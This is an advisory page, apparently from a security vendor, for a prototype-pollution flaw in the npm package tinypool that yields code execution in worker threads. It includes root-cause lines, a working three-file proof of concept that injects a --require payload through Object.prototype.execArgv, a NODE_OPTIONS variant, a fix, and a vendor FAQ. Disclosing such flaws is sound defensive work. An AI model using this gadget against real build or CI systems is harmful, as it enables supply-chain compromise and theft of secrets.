Summary
Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution
tinypool passes worker options to new Worker() by reading them off a plain object whose prototype is Object.prototype. Options the application did not set are resolved through the prototype chain and then passed explicitly to worker_threads.Worker.
Node core ignores Worker options inherited from Object.prototype. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection.
Two keys reach code execution:
execArgv, pollutingObject.prototype.execArgv = ['--require', '/path/to/attacker.js']causes every pool worker to load the attacker's script.env, pollutingObject.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' }achieves the same via environment injection.
Root cause
dist/index.js lines 508-511:
env: this.options.env,
argv: this.options.argv,
execArgv: this.options.execArgv,
resourceLimits: this.options.resourceLimits,
this.options is built at line 470 via object spread:
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };
Proof of concept
Minimal reproduction (3 files):
worker.mjs, the application's own legitimate worker:
export default function double(n) { return n * 2 }
payload.js, attacker-controlled code (never referenced by the app):
const fs = require('fs')
fs.writeFileSync('/tmp/RCE_PROOF.txt', 'code execution achieved, pid=' + process.pid)
console.log('*** RCE ***')
app.js, normal tinypool usage:
const path = require('path')
// Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge)
Object.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')]
const { Tinypool } = require('tinypool')
const pool = new Tinypool({
filename: path.join(__dirname, 'worker.mjs'),
minThreads: 1, maxThreads: 1
})
pool.run(21).then(r => {
console.log('pool returned:', r) // 42, app works normally
pool.destroy()
})
Run:
npm i [email protected]
node app.js
cat /tmp/RCE_PROOF.txt # attacker's code ran
Both execArgv and env vectors confirmed on Node 20.
Impact
Arbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners, an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing).
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Resolve worker options with own-property semantics:
this.options = Object.assign(Object.create(null),
kDefaultOptions, options, { filename, maxQueue: 0 });
Frequently Asked Questions
- What is CVE-2026-104848? CVE-2026-104848 is a critical-severity security vulnerability in tinypool (npm), affecting versions <= 2.1.0. It is fixed in 2.1.1.
- Which versions of tinypool are affected by CVE-2026-104848? tinypool (npm) versions <= 2.1.0 is affected.
- Is there a fix for CVE-2026-104848? Yes. CVE-2026-104848 is fixed in 2.1.1. Upgrade to this version or later.
- Is CVE-2026-104848 exploitable, and should I be worried? Whether CVE-2026-104848 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-104848 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-104848? Upgrade
tinypoolto 2.1.1 or later.